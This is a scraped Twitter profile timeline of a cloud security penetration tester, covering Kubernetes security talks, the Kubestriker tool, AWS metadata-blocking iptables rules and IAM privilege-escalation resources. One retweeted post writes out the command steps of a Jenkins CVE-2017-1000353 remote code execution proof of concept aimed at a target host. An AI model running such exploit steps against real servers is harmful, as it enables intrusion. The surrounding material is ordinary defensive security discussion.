vasant (@cloudsecguy) profile picture

vasant

@cloudsecguy

Penetration Tester, DevSecOps Practioner and Cloud Security Professional |CISSP | GPEN | OSCP | AWS Certified

 India
Joined May 2016
  • Tweets384
  • Following610
  • Followers143
21Media
Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)Photo by vasant (@cloudsecguy)
This is what gets me to go a hundred extra miles, models that encourage others to scale the good we can do together. @carolinewmwong @tinycyber @timonpumba @Robservatory @secnerdette @cloudsecguy @askKenKato @riyazwalikar @grabnerandi and others, thank you!
DevSecOps Days Boston (@devsecopsboston) profile pictureDevSecOps Days Boston@devsecopsboston24 Jul 2021
We've already raised over $2,500 in donations to causes such as @StopAAPIHate, COVID Relief Fund for India @CovidReliefIn and @resilientcoders. Add your support and learn from some of the best minds in modern #DevOps #security buff.ly/3rpMA2E
Image from DevSecOps Days Boston (@devsecopsboston)
5
6
Ever wonder what #security risks are lurking in your #kubernetes ecosystem? Join our community and on July 26th hear @cloudsecguy discuss how to root them out! Tickets are free or donate: buff.ly/3wm5bxi
Image from DevSecOps Days Boston (@devsecopsboston)
3
4
Kubestriker is a platform-agnostic tool designed to tackle Kuberenetes cluster security issues due to misconfigurations Read more github.com/vchinnipilli/kube…
Image from Kubesploit (@kubesploit)
72
3
220
Blocking access to AWS metadata by two rules: iptables --append -I DOCKER-USER OUTPUT --proto tcp --destination 169.254.169.254 --match owner --uid-owner root --jump REJECT iptables -I FORWARD -i docker0 -d 169.254.169.254 -p tcp -m multiport --dports 80,443 -j DROP
2
5
2
15
vasant retweeted
GitHub (@github) profile picture
GitHub
@github29 Jun 2021
Meet GitHub Copilot - your AI pair programmer. copilot.github.com
737
7,627
6,076
27,315
Beim Klabautermann! Shipping security the cloud native way is complicated. @cloudsecguy + @c0d3xpl0it will demonstrate security issues & showcase a tool to detect and mitigate these flaws: “Demystifying the state of kubernetes cluster security-the cloud native way” #BSidesMEsh21
5
7
vasant retweeted
Adam (@adamdotdev) profile picture
Adam
@adamdotdev2 Jun 2021
I built a startup on AWS and have advised dozens of startups doing the same. This is a practical thread with advice I wish I'd been given early in my startup journey.
38
269
44
1,527
On 27th May at #BSidesBUD2021 @cloudsecguy will hold a 3 hours long comprehensive workshop titled Securing the Kubernetes - Cloud Native Way. Make sure to get your ticket on time! bit.ly/3smQw37
Image from BSidesBUD 🇭🇺 (@bsidesbud)
5
2
Kubestriker: A security auditing tool for Kubernetes clusters - helpnetsecurity.com/2021/05/… - @cloudsecguy @ToolsWatch @BlackHatAsia #Kubestriker #Kubernetes #SecurityAuditing #Misconfiguration #cloudsecurity #ContainerSecurity #devsecops #OpenSource #BHASIA
Image from Help Net Security (@helpnetsecurity)
3
1
vasant retweeted
GitHub (@github) profile picture
GitHub
@github29 Mar 2021
GitHub now automatically creates a table of contents for your README files 📖 Works automatically based on your headers, no special markdown to insert. Let us know what you think!
72
1,031
117
5,312
There is no trick involved, but plain #physics. The structure is suspended in mid air without any support from the top and without touching the ground. It is supported but ordinary threads that counter balance the tension.
Image from Sandeep (@GodboleSandeep)
Image from Sandeep (@GodboleSandeep)
2
13
4
50
Wait is over .. Read final part 2 which is focused on aws log data ingestion , #hunting and investigation of Capital one breach TTPs in #AzureSentinel techcommunity.microsoft.com/…
Image from Ashwin Patil (@ashwinpatil)
Image from Ashwin Patil (@ashwinpatil)
Ashwin Patil (@ashwinpatil) profile pictureAshwin Patil
@ashwinpatil18 Nov 2019
We are publishing 2 part article on Hunting for Capital One Breach TTPs in #AWS logs using #AzureSentinel. Part 1: techcommunity.microsoft.com/… 🙏Thanks to @RhinoSecurity for #Cloudgoat toolkit.
Image from Ashwin Patil (@ashwinpatil)
Image from Ashwin Patil (@ashwinpatil)
1
63
5
167
thank you to everyone who came out to my talk, "Advanced Security Automation Made Simple", at the @awscloud #AWSSummit in Toronto today I've written it up and posted the slides to markn.ca/talks/2019/advanced… #devops #cloud #security
15
1
35
I just published How to find more IDORs link.medium.com/oncUIWwz3Z
3
125
1
312
Jenkins-CI 远程代码执行漏洞（CVE-2017-1000353） wget github.com/vulhub/CVE-2017-1… java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success" python3 exploit.py http://ip:8080 jenkins_poc.se asciinema.org/a/pB9D79yD8GVF…
70
1
185
DockerSecurityPlayground - A Microservices-based Framework For The Study Of Network Security And Penetration Test Techniques kitploit.com/2019/08/dockers…
104
326
Credentials compromised via metadata work by default from anywhere😯 You should lock them to your #AWS environment - @__muscles wrote a great post about this approach medium.com/@williambengtson/…
4
16
The latest CloudGoat scenario: "cloud_breach_s3", inspired by last week's news of the Capital One breach bit.ly/33jqsKZ
24
52
For service roles, remove s3:ListAllMyBuckets and similar List/Describe privs. Code normally knows what buckets it needs to work with, and does not need to list them.
10
37
New repo that aggregates 28 different AWS IAM privilege escalation methods and how to exploit them, on our GitHub now! bit.ly/2JN9MDT
3
232
3
456
Load more